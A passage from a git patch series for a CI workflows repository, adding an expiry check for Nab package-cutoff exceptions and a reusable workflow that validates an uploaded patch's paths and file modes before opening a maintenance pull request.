test_nab_exception_expiry_rejects_undated_or_expired_exception(tmp_path: Path, content: str, problem: str) -> None: + path = tmp_path / "pyproject.toml" + path.write_text(content) + + result = _check(path) + + assert (result.returncode, result.stderr) == (1, f"::error::{path}: {problem}\n") + + +def test_nab_exception_expiry_reports_each_failing_package(tmp_path: Path) -> None: + path = tmp_path / "pyproject.toml" + path.write_text( + "[tool.nab]\n[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n" + f"# expires {_PAST}\n[tool.nab.packages.vcrpy]\nuploaded-prior-to = 2026-10-25\n" + ) + + result = _check(path) + + assert (result.returncode, result.stderr) == ( + 1, + ( + f"::error::{path}: packages.sphinx uploaded-prior-to exception needs a '# expires YYYY-MM-DD' comment " + f"directly above it\n::error::{path}: packages.vcrpy uploaded-prior-to exception expired on 2000-01-01; " + "remove it or extend its expiry\n" + ), + ) + + +def test_nab_exception_expiry_rejects_missing_file(tmp_path: Path) -> None: + result = _check(tmp_path / "pyproject.toml") + + assert result.returncode == 1 + assert "No such file or directory" in result.stderr + + +def test_nab_exception_expiry_rejects_invalid_toml(tmp_path: Path) -> None: + path = tmp_path / "pyproject.toml" + path.write_text("[tool.nab\n") + + result = _check(path) + + assert result.returncode == 1 + assert result.stderr.startswith("::error::") + + +def test_nab_exception_expiry_import_has_no_cli_side_effect() -> None: + result = subprocess.run( + [sys.executable, "-c", f"import runpy; runpy.run_path({str(_SCRIPT)!r}, run_name='imported')"], + text=True, + capture_output=True, + check=False, + ) + + assert (result.returncode, result.stdout, result.stderr) == (0, "", "") diff --git a/tests/refresh_release_lock/test_refresh.py b/tests/refresh_release_lock/test_refresh.py index 3f04f89..c719400 100644 --- a/tests/refresh_release_lock/test_refresh.py +++ b/tests/refresh_release_lock/test_refresh.py @@ -122,6 +122,24 @@ def test_refresh_check_rejects_stale_lock( assert "regenerated Nab lock differs from the committed lock" in result.stderr +def test_refresh_check_rejects_expired_exception_before_locking( + lock_project: Path, tmp_path: Path, action_scripts: Path +) -> None: + project = lock_project / "pyproject.toml" + project.write_text( + project.read_text() + + "# expires 2000-01-01\n[tool.nab.packages.six]\nuploaded-prior-to = 2026-10-01T00:00:00Z\n" + ) + run(lock_project, "git", "add", ".") + run(lock_project, "git", "commit", "-m", "Add an expired exception") + + result = action(lock_project, tmp_path, action_scripts, "refresh-release-lock", version="", MODE="check") + + assert result.returncode != 0 + assert "packages.six uploaded-prior-to exception expired on 2000-01-01" in result.stderr + assert not (tmp_path / "lock-tools").exists() + + def test_refresh_writes_patch_for_stale_lock( lock_project: Path, nab_executable: Path, tmp_path: Path, action_scripts: Path ) -> None: diff --git a/tools/check_nab_exceptions.py b/tools/check_nab_exceptions.py new file mode 100644 index 0000000..b92a5ab --- /dev/null +++ b/tools/check_nab_exceptions.py @@ -0,0 +1,82 @@ +"""Fail when a Nab cutoff exception has no expiry comment or has passed its expiry.""" + +from __future__ import annotations + +import argparse +import re +import sys +import tomllib +from datetime import UTC, date, datetime +from pathlib import Path +from typing import Any, Final + +_EXPIRY: Final = re.compile(r"#\s*expires\s+(\d{4}-\d{2}-\d{2})") + + +def main() -> None: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("paths", nargs="+", type=Path) + paths = parser.parse_args().paths + today = datetime.now(UTC).date() + try: + problems = [problem for path in paths for problem in _problems(path, today)] + except (OSError, UnicodeDecodeError, tomllib.TOMLDecodeError) as error: + print(f"::error::{error}", file=sys.stderr) + sys.exit(1) + for problem in problems: + print(f"::error::{problem}", file=sys.stderr) + if problems: + sys.exit(1) + + +def _problems(path: Path, today: date) -> list[str]: + text = path.read_text(encoding="utf-8") + document = tomllib.loads(text) + config: dict[str, Any] = document.get("tool", {}).get("nab", {}) if path.name == "pyproject.toml" else document + lines = text.splitlines() + problems = [ + f"{path}: [[package-rules]] {rule.get('match')} sets uploaded-prior-to, which expiry is not checked for;" + " move it to a packages. table" + for rule in config.get("package-rules", []) + if "uploaded-prior-to" in rule + ] + for name, body in config.get("packages", {}).items(): + if "uploaded-prior-to" in body: + problems.extend(_exception_problems(lines, path, name, today)) + return problems + + +def _exception_problems(lines: list[str], path: Path, name: str, today: date) -> list[str]: + where = f"{path}: packages.{name}" + start = _start_line(lines, name) + if start is None: + return [f"{where} is not a table or dotted key that the expiry check can locate"] + above = lines[start - 1] if start else "" + if (match := _EXPIRY.fullmatch(above.strip())) is None: + return [f"{where} uploaded-prior-to exception needs a '# expires YYYY-MM-DD' comment directly above it"] + try: + expires = date.fromisoformat(match[1]) + except ValueError: + return [f"{where} has an invalid expiry date {match[1]}"] + if expires < today: + return [f"{where} uploaded-prior-to exception expired on {expires}; remove it or extend its expiry"] + return [] + + +def _start_line(lines: list[str], name: str) -> int | None: + selector = rf'(?:"{re.escape(name)}"|{re.escape(name)})' + header = re.compile(rf"\[\s*(?:tool\.nab\.)?packages\.{selector}\s*\]") + dotted = re.compile(rf"(?:tool\.nab\.)?packages\.{selector}\.uploaded-prior-to\s*=") + return next( + (index for index, line in enumerate(lines) if header.match(line.lstrip()) or dotted.match(line.lstrip())), + None, + ) + + +if __name__ == "__main__": + main() + + +__all__ = [ + "main", +] From c04b45a7127d855591d5da42ce291737b5766075 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:57:42 -0800 Subject: [PATCH 07/38] =?UTF-8?q?=E2=9C=A8=20feat(check-nab-exceptions):?= =?UTF-8?q?=20add=20the=20action?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The expiry check was a step inside `refresh-release-lock`, reachable only through its check mode. Tools run through actions in this repository, so the check moves into `check-nab-exceptions`, a composite Action that callers and the lock actions can call. `refresh-release-lock` calls it in check mode. --- .../+check-nab-exceptions-action.feature.md | 1 + check-nab-exceptions/action.yml | 12 ++++ refresh-release-lock/action.yml | 7 +-- tests/check_nab_exceptions/test_action.py | 56 +++++++++++++++++++ tests/conftest.py | 1 + 5 files changed, 71 insertions(+), 6 deletions(-) create mode 100644 changelog.d/+check-nab-exceptions-action.feature.md create mode 100644 check-nab-exceptions/action.yml create mode 100644 tests/check_nab_exceptions/test_action.py diff --git a/changelog.d/+check-nab-exceptions-action.feature.md b/changelog.d/+check-nab-exceptions-action.feature.md new file mode 100644 index 0000000..96a9498 --- /dev/null +++ b/changelog.d/+check-nab-exceptions-action.feature.md @@ -0,0 +1 @@ +`check-nab-exceptions` runs the cutoff exception expiry check on its own, without the lock refresh. diff --git a/check-nab-exceptions/action.yml b/check-nab-exceptions/action.yml new file mode 100644 index 0000000..c34b469 --- /dev/null +++ b/check-nab-exceptions/action.yml @@ -0,0 +1,12 @@ +name: Check cutoff exception expiry +description: Fail when a Nab cutoff exception has no expiry comment or has passed its expiry +runs: + using: composite + steps: + - name: ๐Ÿ“… Check cutoff exception expiry + shell: bash + run: | + set -euo pipefail + files=(pyproject.toml) + if [[ -f nab.toml ]]; then files+=(nab.toml); fi + python3 "$GITHUB_ACTION_PATH/../tools/check_nab_exceptions.py" "${files[@]}" diff --git a/refresh-release-lock/action.yml b/refresh-release-lock/action.yml index cbc168f..b88bf06 100644 --- a/refresh-release-lock/action.yml +++ b/refresh-release-lock/action.yml @@ -37,12 +37,7 @@ runs: steps: - name: ๐Ÿ“… Check cutoff exception expiry if: inputs.mode == 'check' - shell: bash - run: | - set -euo pipefail - files=(pyproject.toml) - if [[ -f nab.toml ]]; then files+=(nab.toml); fi - python3 "$GITHUB_ACTION_PATH/../tools/check_nab_exceptions.py" "${files[@]}" + uses: $/check-nab-exceptions - name: ๐Ÿ“ฆ Install Nab shell: bash env: diff --git a/tests/check_nab_exceptions/test_action.py b/tests/check_nab_exceptions/test_action.py new file mode 100644 index 0000000..60bb7ab --- /dev/null +++ b/tests/check_nab_exceptions/test_action.py @@ -0,0 +1,56 @@ +from __future__ import annotations + +from pathlib import Path + +import pytest +from conftest import action + + +@pytest.mark.parametrize( + "content", + [ + pytest.param('[tool.nab]\nmode = "universal"\n', id="no-exceptions"), + pytest.param( + "[tool.nab]\n# expires 2999-01-01\n[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n", + id="dated", + ), + ], +) +def test_check_nab_exceptions_action_accepts_dated_exceptions( + tmp_path: Path, action_scripts: Path, content: str +) -> None: + (tmp_path / "pyproject.toml").write_text(content) + + result = action(tmp_path, tmp_path / "runner", action_scripts, "check-nab-exceptions", version="") + + assert (result.returncode, result.stderr) == (0, "") + + +def test_check_nab_exceptions_action_names_undated_package(tmp_path: Path, action_scripts: Path) -> None: + (tmp_path / "pyproject.toml").write_text("[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n") + + result = action(tmp_path, tmp_path / "runner", action_scripts, "check-nab-exceptions", version="") + + assert (result.returncode, result.stderr) == ( + 1, + ( + "::error::pyproject.toml: packages.sphinx uploaded-prior-to exception needs a " + "'# expires YYYY-MM-DD' comment directly above it\n" + ), + ) + + +def test_check_nab_exceptions_action_names_expired_package(tmp_path: Path, action_scripts: Path) -> None: + (tmp_path / "pyproject.toml").write_text( + "# expires 2000-01-01\n[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n" + ) + + result = action(tmp_path, tmp_path / "runner", action_scripts, "check-nab-exceptions", version="") + + assert (result.returncode, result.stderr) == ( + 1, + ( + "::error::pyproject.toml: packages.sphinx uploaded-prior-to exception expired on 2000-01-01; " + "remove it or extend its expiry\n" + ), + ) diff --git a/tests/conftest.py b/tests/conftest.py index 0b5a113..5331da8 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -69,6 +69,7 @@ def action_scripts(tmp_path_factory: pytest.TempPathFactory) -> Path: "validate-news", "required-checks", "refresh-release-lock", + "check-nab-exceptions", "install-locked-tools", "export-build-constraints", "build-python-distribution", From 1e7448d45a11277cb527effcfa9400741e2ce8f1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:57:42 -0800 Subject: [PATCH 08/38] =?UTF-8?q?=E2=9C=A8=20feat(upgrade-release-tools):?= =?UTF-8?q?=20check=20exceptions?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The weekly lock refresh now runs the cutoff exception check before it refreshes the lock. A caller whose `[tool.nab]` exception has passed its date, or has no date, fails the scheduled run and sees the package name, even when no release input changed. The check-mode call in `refresh-release-lock` stays. The README describes the three places the check runs. --- .github/workflows/upgrade-release-tools.yaml | 2 ++ README.md | 23 ++++++++++++++----- .../+weekly-exception-expiry.change.md | 2 ++ tests/upgrade_release_tools/test_upgrade.py | 11 +++++++++ 4 files changed, 32 insertions(+), 6 deletions(-) create mode 100644 changelog.d/+weekly-exception-expiry.change.md diff --git a/.github/workflows/upgrade-release-tools.yaml b/.github/workflows/upgrade-release-tools.yaml index c0b2388..c609acb 100644 --- a/.github/workflows/upgrade-release-tools.yaml +++ b/.github/workflows/upgrade-release-tools.yaml @@ -73,6 +73,8 @@ jobs: version: latest-known python-version: "3.15" enable-cache: false + - name: ๐Ÿ“… Check cutoff exception expiry + uses: $/check-nab-exceptions - name: ๐Ÿ”’ Refresh release lock id: lock uses: $/refresh-release-lock diff --git a/README.md b/README.md index 5d8d178..e67e6d6 100644 --- a/README.md +++ b/README.md @@ -996,13 +996,24 @@ uploaded-prior-to = 2026-11-02T21:45:00Z ``` Nab rejects unknown keys in a package table, so the date cannot sit beside the value. The date is the last day the -exception is valid. `refresh-release-lock` in `check` mode fails when an exception has no such comment, a malformed -date, or a date that has passed, and names the package. `validate-news` runs that check when a pull request changes -`pyproject.toml`, a `pylock*.toml`, or `nab.toml`. A standalone `nab.toml` is checked the same way. An exception in -`[[tool.nab.package-rules]]` is rejected, since the check does not read those tables; move it to a package table. +exception is valid. The check fails when an exception has no such comment, a malformed date, or a date that has passed, +and names the package. A standalone `nab.toml` is checked the same way. An exception in `[[tool.nab.package-rules]]` is +rejected, since the check does not read those tables; move it to a package table. -The check runs only when release inputs change or the caller runs `check` mode, so an expired exception can remain until -one of those happens. +The check runs in three places: + +- `upgrade-release-tools.yaml`, before it refreshes the lock. Every caller's scheduled run therefore fails on an expired + or undated exception, even when no release input changed. + +- `refresh-release-lock` in `check` mode, which `validate-news` calls when a pull request changes `pyproject.toml`, a + `pylock*.toml`, or `nab.toml`. + +- The `check-nab-exceptions` Action on its own. It reads `pyproject.toml` and `nab.toml` from the checkout and takes no + inputs: + + ```yaml + - uses: tox-dev/github-workflows/check-nab-exceptions@SHA + ``` ## Test a caller diff --git a/changelog.d/+weekly-exception-expiry.change.md b/changelog.d/+weekly-exception-expiry.change.md new file mode 100644 index 0000000..6d67311 --- /dev/null +++ b/changelog.d/+weekly-exception-expiry.change.md @@ -0,0 +1,2 @@ +`upgrade-release-tools.yaml` checks cutoff exceptions before it refreshes the lock. A scheduled run now fails on an +expired or undated exception and names the package, even when no release input changed. diff --git a/tests/upgrade_release_tools/test_upgrade.py b/tests/upgrade_release_tools/test_upgrade.py index 26adb5d..b3a7ddd 100644 --- a/tests/upgrade_release_tools/test_upgrade.py +++ b/tests/upgrade_release_tools/test_upgrade.py @@ -205,3 +205,14 @@ def refresh_script(scripts: Path, name: str) -> Path: steps = yaml.safe_load((source / "refresh-release-lock/action.yml").read_text())["runs"]["steps"] index = next(index for index, step in enumerate(steps) if step.get("id") == name) return scripts / f"refresh-release-lock-{index}.sh" + + +def test_upgrade_checks_cutoff_exceptions_before_refreshing_the_lock() -> None: + source = Path(__file__).resolve().parents[2] + steps = yaml.safe_load((source / ".github/workflows/upgrade-release-tools.yaml").read_text())["jobs"][ + "generate-lock" + ]["steps"] + names = [step["name"] for step in steps] + + assert steps[names.index("๐Ÿ“… Check cutoff exception expiry")]["uses"] == "$/check-nab-exceptions" + assert names.index("๐Ÿ“… Check cutoff exception expiry") < names.index("๐Ÿ”’ Refresh release lock") From d667367c0dd7ebc6d743bdb6d199509b4c04bdf9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:51:07 -0800 Subject: [PATCH 09/38] =?UTF-8?q?=E2=9C=A8=20feat(open-maintenance-pr):=20?= =?UTF-8?q?open=20PRs=20from=20patches?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Callers that generate a maintenance change in a read-only job can now open or update its pull request without peter-evans/create-pull-request. The read-only validate job applies the patch to a scratch index and accepts only paths that match allowed-paths as regular non-executable files or deletions. The App writer job, in the release-auth environment, checks the patch digest and paths again, and mints the App token only after both checks pass. It force-pushes the branch with a lease and edits or opens the pull request. --- .github/workflows/open-maintenance-pr.yaml | 311 ++++++++++++++++++++ README.md | 61 ++++ changelog.d/+open-maintenance-pr.feature.md | 2 + tests/conftest.py | 70 ++++- tests/open_maintenance_pr/test_open.py | 266 +++++++++++++++++ 5 files changed, 709 insertions(+), 1 deletion(-) create mode 100644 .github/workflows/open-maintenance-pr.yaml create mode 100644 changelog.d/+open-maintenance-pr.feature.md create mode 100644 tests/open_maintenance_pr/test_open.py diff --git a/.github/workflows/open-maintenance-pr.yaml b/.github/workflows/open-maintenance-pr.yaml new file mode 100644 index 0000000..9058306 --- /dev/null +++ b/.github/workflows/open-maintenance-pr.yaml @@ -0,0 +1,311 @@ +name: ๐Ÿ”€ Open maintenance PR +on: + workflow_call: + inputs: + artifact-id: + description: ID of the maintenance-patch artifact the caller uploaded in the same run + type: string + required: true + allowed-paths: + description: Newline-separated shell glob patterns for the paths the patch may change + type: string + required: true + branch: + description: Branch that holds the maintenance commit; a later run replaces it + type: string + required: true + base: + description: Branch the pull request targets + type: string + default: main + title: + description: Pull request title, also the commit subject + type: string + required: true + body: + description: Pull request body + type: string + default: "" + labels: + description: Newline-separated labels to add to the pull request + type: string + default: "" + secrets: + RELEASE_APP_PRIVATE_KEY: + description: Repo-only release App key + required: true +permissions: {} +concurrency: + group: open-maintenance-pr-${{ inputs.branch }} + cancel-in-progress: false +jobs: + validate: + name: ๐Ÿ” Validate maintenance patch + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + patch-sha256: ${{ steps.digest.outputs.sha256 }} + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ github.sha }} + persist-credentials: false + - name: ๐Ÿ“ฉ Download maintenance patch + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ inputs.artifact-id }} + path: ${{ runner.temp }}/maintenance-patch + - name: โš™๏ธ Apply maintenance patch to a scratch index + env: + PATCH: ${{ runner.temp }}/maintenance-patch/maintenance.patch + run: | + set -euo pipefail + export GIT_INDEX_FILE="$RUNNER_TEMP/maintenance.index" + git read-tree HEAD + git apply --cached --verbose "$PATCH" + - name: ๐Ÿ” Check patch paths and modes + env: + ALLOWED_PATHS: ${{ inputs.allowed-paths }} + GIT_INDEX_FILE: ${{ runner.temp }}/maintenance.index + run: | + set -euo pipefail + patterns=() + while IFS= read -r pattern; do + if [[ -n "$pattern" ]]; then + patterns+=("$pattern") + fi + done <<<"$ALLOWED_PATHS" + if ((${#patterns[@]} == 0)); then + echo "::error::allowed-paths lists no pattern" >&2 + exit 1 + fi + git diff --cached --raw --no-renames -z >"$RUNNER_TEMP/maintenance-raw" + count=0 + while IFS= read -r -d '' metadata && IFS= read -r -d '' path; do + read -ra fields <<<"$metadata" + old_mode=${fields[0]#:} + new_mode=${fields[1]} + case "${fields[4]}" in + A) + expected_old=000000 + expected_new=100644 + ;; + M) + expected_old=100644 + expected_new=100644 + ;; + D) + expected_old=100644 + expected_new=000000 + ;; + *) + echo "::error::unexpected maintenance path status ${fields[4]} for $path" >&2 + exit 1 + ;; + esac + matched=false + for pattern in "${patterns[@]}"; do + case "$path" in + $pattern) + matched=true + ;; + esac + done + if [[ "$matched" != true ]]; then + echo "::error::unexpected maintenance path: $path" >&2 + exit 1 + fi + if [[ "$old_mode" != "$expected_old" || "$new_mode" != "$expected_new" ]]; then + echo "::error::unexpected maintenance file mode for $path: $old_mode to $new_mode" >&2 + exit 1 + fi + count=$((count + 1)) + done <"$RUNNER_TEMP/maintenance-raw" + if ((count == 0)); then + echo "::error::maintenance patch changes no paths" >&2 + exit 1 + fi + echo "Maintenance patch paths: $count allowed, each a regular non-executable file or a deletion" + - id: digest + name: โš™๏ธ Record the validated patch digest + env: + PATCH: ${{ runner.temp }}/maintenance-patch/maintenance.patch + run: echo "sha256=$(sha256sum "$PATCH" | cut -d ' ' -f 1)" >>"$GITHUB_OUTPUT" + open: + name: ๐Ÿ”€ Open maintenance pull request + needs: validate + if: needs.validate.result == 'success' + runs-on: ubuntu-26.04 + environment: release-auth + permissions: + contents: read + outputs: + number: ${{ steps.pull-request.outputs.number }} + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ github.sha }} + fetch-depth: 0 + persist-credentials: false + - name: ๐Ÿ“ฉ Download maintenance patch + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ inputs.artifact-id }} + path: ${{ runner.temp }}/maintenance-patch + - name: ๐Ÿ” Verify the validated patch digest + env: + EXPECTED_SHA256: ${{ needs.validate.outputs.patch-sha256 }} + PATCH: ${{ runner.temp }}/maintenance-patch/maintenance.patch + run: printf '%s %s\n' "$EXPECTED_SHA256" "$PATCH" | sha256sum --check --status + - name: ๐Ÿ”’ Apply maintenance patch + env: + PATCH: ${{ runner.temp }}/maintenance-patch/maintenance.patch + run: git apply --index --verbose "$PATCH" + - name: ๐Ÿ” Check patch paths and modes + env: + ALLOWED_PATHS: ${{ inputs.allowed-paths }} + run: | + set -euo pipefail + patterns=() + while IFS= read -r pattern; do + if [[ -n "$pattern" ]]; then + patterns+=("$pattern") + fi + done <<<"$ALLOWED_PATHS" + if ((${#patterns[@]} == 0)); then + echo "::error::allowed-paths lists no pattern" >&2 + exit 1 + fi + git diff --cached --raw --no-renames -z >"$RUNNER_TEMP/maintenance-raw" + count=0 + while IFS= read -r -d '' metadata && IFS= read -r -d '' path; do + read -ra fields <<<"$metadata" + old_mode=${fields[0]#:} + new_mode=${fields[1]} + case "${fields[4]}" in + A) + expected_old=000000 + expected_new=100644 + ;; + M) + expected_old=100644 + expected_new=100644 + ;; + D) + expected_old=100644 + expected_new=000000 + ;; + *) + echo "::error::unexpected maintenance path status ${fields[4]} for $path" >&2 + exit 1 + ;; + esac + matched=false + for pattern in "${patterns[@]}"; do + case "$path" in + $pattern) + matched=true + ;; + esac + done + if [[ "$matched" != true ]]; then + echo "::error::unexpected maintenance path: $path" >&2 + exit 1 + fi + if [[ "$old_mode" != "$expected_old" || "$new_mode" != "$expected_new" ]]; then + echo "::error::unexpected maintenance file mode for $path: $old_mode to $new_mode" >&2 + exit 1 + fi + count=$((count + 1)) + done <"$RUNNER_TEMP/maintenance-raw" + if ((count == 0)); then + echo "::error::maintenance patch changes no paths" >&2 + exit 1 + fi + echo "Maintenance patch paths: $count allowed, each a regular non-executable file or a deletion" + - name: ๐Ÿท๏ธ Commit maintenance change + env: + TITLE: ${{ inputs.title }} + run: | + set -euo pipefail + git config user.name 'github-actions[bot]' + git config user.email '41898282+github-actions[bot]@users.noreply.github.com' + git commit -m "$TITLE" + - name: โš™๏ธ Select the current repository + id: repository + env: + REPOSITORY: ${{ github.repository }} + run: echo "name=${REPOSITORY#*/}" >>"$GITHUB_OUTPUT" + - name: ๐Ÿ”‘ Create release App token + id: token + uses: actions/create-github-app-token@64ab729a6294000f5aa4a4bc0b73d1f32bc45510 # v3.3.0 + with: + client-id: ${{ vars.RELEASE_APP_CLIENT_ID }} + private-key: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} + owner: ${{ github.repository_owner }} + repositories: ${{ steps.repository.outputs.name }} + permission-contents: write + permission-pull-requests: write + - name: โฌ†๏ธ Push maintenance branch + env: + GH_TOKEN: ${{ steps.token.outputs.token }} + BRANCH: ${{ inputs.branch }} + run: | + set -euo pipefail + gh auth setup-git --hostname github.com --force + echo "Pushing $BRANCH, replacing any earlier maintenance commit (force with lease)" + git push --force-with-lease origin "HEAD:refs/heads/$BRANCH" + - name: ๐Ÿ“ Write maintenance pull request body + env: + BODY: ${{ inputs.body }} + run: printf '%s\n' "$BODY" >"$RUNNER_TEMP/pull-request.md" + - name: ๐Ÿ”€ Write maintenance pull request + id: pull-request + env: + GH_TOKEN: ${{ steps.token.outputs.token }} + BASE: ${{ inputs.base }} + BRANCH: ${{ inputs.branch }} + LABELS: ${{ inputs.labels }} + TITLE: ${{ inputs.title }} + run: | + set -euo pipefail + owner=${GITHUB_REPOSITORY%%/*} + number=$( + gh api -X GET "repos/$GITHUB_REPOSITORY/pulls" -f state=open \ + -f head="$owner:$BRANCH" -f base="$BASE" | + jq -r --arg repository "$GITHUB_REPOSITORY" --arg branch "$BRANCH" --arg base "$BASE" ' + [.[] | select(.head.repo.full_name == $repository and .head.ref == $branch and .base.ref == $base)] | + if length == 0 then "" + elif length == 1 then .[0].number + else error("multiple maintenance pull requests") end + ' + ) + labels=() + while IFS= read -r label; do + if [[ -n "$label" ]]; then + labels+=("$label") + fi + done <<<"$LABELS" + label_args=() + for label in "${labels[@]}"; do + label_args+=(--label "$label") + done + if [[ -n "$number" ]]; then + echo "Maintenance pull request: #$number is open, updating it" + edit_args=(--title "$TITLE" --body-file "$RUNNER_TEMP/pull-request.md") + for label in "${labels[@]}"; do + edit_args+=(--add-label "$label") + done + gh pr edit "$number" "${edit_args[@]}" + else + echo "Maintenance pull request: none open, opening one from $BRANCH to $BASE" + url=$( + gh pr create --base "$BASE" --head "$BRANCH" --title "$TITLE" \ + --body-file "$RUNNER_TEMP/pull-request.md" "${label_args[@]}" + ) + number=${url##*/} + fi + echo "number=$number" >>"$GITHUB_OUTPUT" diff --git a/README.md b/README.md index e67e6d6..879f8e7 100644 --- a/README.md +++ b/README.md @@ -1015,6 +1015,67 @@ The check runs in three places: - uses: tox-dev/github-workflows/check-nab-exceptions@SHA ``` +## Open a maintenance pull request + +`open-maintenance-pr.yaml` opens or updates one pull request from a patch that a read-only job of the caller uploaded. +The caller uploads the patch as an artifact named `maintenance-patch` and passes its artifact ID. The reusable workflow +runs two jobs. `validate` applies the patch to a scratch index and leaves the checkout unchanged, then checks that every +changed path matches `allowed-paths` and that each change is a regular non-executable file or a deletion. `open` is the +only job that mints the App token. It runs in the `release-auth` environment, verifies the patch digest that `validate` +recorded, checks the paths and modes again, commits, and force-pushes `branch` with a lease. It then edits the open pull +request from `branch` into `base`, or opens one. + +```yaml +jobs: + generate: + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + artifact-id: ${{ steps.upload.outputs.artifact-id }} + steps: + # ... produce the changes in the working tree, then write $RUNNER_TEMP/maintenance.patch + - id: upload + uses: actions/upload-artifact@UPLOAD_SHA + with: + name: maintenance-patch + path: ${{ runner.temp }}/maintenance.patch + if-no-files-found: error + open: + needs: generate + permissions: + contents: read + uses: tox-dev/github-workflows/.github/workflows/open-maintenance-pr.yaml@SHA + with: + artifact-id: ${{ needs.generate.outputs.artifact-id }} + allowed-paths: | + docs/*.md + site/static/diagrams/*.svg + branch: automation/update-diagrams + title: Update diagrams + body: Regenerate the diagrams from the scheduled scan. + labels: skip news + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} +``` + +- `artifact-id` **(required)**: ID of the `maintenance-patch` artifact from the same workflow run. +- `allowed-paths` **(required)**: Newline-separated shell glob patterns. A pattern is an exact path or a glob. Dots are + literal, and `*` also matches `/`. +- `branch` **(required)**: Branch that holds the maintenance commit. A later run force-pushes it with a lease, replacing + the earlier commit. +- `base`: Branch the pull request targets; default `main`. +- `title` **(required)**: Pull request title, also the commit subject. +- `body`: Pull request body. +- `labels`: Newline-separated labels to add. Each label must already exist in the repository. + +The caller grants `contents: read` to its job and passes `RELEASE_APP_PRIVATE_KEY`. The App needs Contents and Pull +requests write access on this repository only, as for `upgrade-release-tools`. Repository hooks and the caller's own +generation run in the read-only job, before the artifact exists. The reusable workflow never runs project code. + +**Output:** `number`, the pull request number. **Remote effect:** One force-pushed commit on `branch` and one pull +request into `base`. An open pull request with the same branch is updated; two open pull requests on one branch fail. + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+open-maintenance-pr.feature.md b/changelog.d/+open-maintenance-pr.feature.md new file mode 100644 index 0000000..c8ef914 --- /dev/null +++ b/changelog.d/+open-maintenance-pr.feature.md @@ -0,0 +1,2 @@ +Maintenance pull requests open from a read-only job's patch once its paths and file modes match a caller allowlist, and +the App token is minted only after that check. diff --git a/tests/conftest.py b/tests/conftest.py index 5331da8..3439f23 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -2,6 +2,7 @@ import json import os +import re import shutil import ssl import subprocess @@ -10,7 +11,7 @@ from collections.abc import Iterator, Mapping from pathlib import Path from textwrap import dedent -from typing import Final +from typing import Any, Final import certifi import coverage @@ -21,6 +22,7 @@ from werkzeug.wrappers import Request, Response CALLER: Final = Path(__file__).parent / "fixtures/caller" +WORKFLOWS: Final = Path(__file__).resolve().parents[1] / ".github/workflows" @pytest.fixture @@ -484,8 +486,74 @@ def _expression( raise ValueError(f"unsupported GitHub step environment: {expression}") # pragma: no cover - new syntax only +def workflow_step(workflow: str, job: str, name: str) -> dict[str, Any]: + steps = yaml.safe_load((WORKFLOWS / workflow).read_text())["jobs"][job]["steps"] + return next(step for step in steps if step.get("name") == name) + + +def run_workflow_step( + workflow: str, + job: str, + name: str, + *, + cwd: Path, + runner_temp: Path, + values: Mapping[str, str], + env: Mapping[str, str] | None = None, +) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: + """Run one named step's ``run:`` block the way Actions does, expanding ``${{ ... }}`` from ``values``.""" + step = workflow_step(workflow, job, name) + script = runner_temp / "step.sh" + script.write_text(step["run"]) + output = runner_temp / "output" + output.unlink(missing_ok=True) + expand = {"runner.temp": str(runner_temp), "github.repository": "tox-dev/fixture", **values} + step_env = { + variable: re.sub(r"\$\{\{\s*(.+?)\s*\}\}", lambda match: expand[match.group(1)], str(value)) + for variable, value in (step.get("env") or {}).items() + } + environment = {name: os.environ[name] for name in ("HOME", "LANG", "PATH") if name in os.environ} + environment |= { + "RUNNER_TEMP": str(runner_temp), + "GITHUB_OUTPUT": str(output), + "GITHUB_REPOSITORY": "tox-dev/fixture", + } + result = subprocess.run( + ["bash", "--noprofile", "--norc", "-eo", "pipefail", str(script)], + cwd=cwd, + env={**environment, **step_env, **(env or {})}, + text=True, + capture_output=True, + check=False, + ) + return result, read_outputs(output) + + +def read_outputs(path: Path) -> dict[str, str]: + if not path.exists(): + return {} + outputs: dict[str, str] = {} + lines = path.read_text().splitlines() + index = 0 + while index < len(lines): + if "<<" in lines[index]: + name, delimiter = lines[index].split("<<", 1) + end = lines.index(delimiter, index + 1) + outputs[name] = "\n".join(lines[index + 1 : end]) + index = end + 1 + else: + name, _, value = lines[index].partition("=") + outputs[name] = value + index += 1 + return outputs + + __all__ = [ "CALLER", + "WORKFLOWS", "action", + "read_outputs", "run", + "run_workflow_step", + "workflow_step", ] diff --git a/tests/open_maintenance_pr/test_open.py b/tests/open_maintenance_pr/test_open.py new file mode 100644 index 0000000..d7de441 --- /dev/null +++ b/tests/open_maintenance_pr/test_open.py 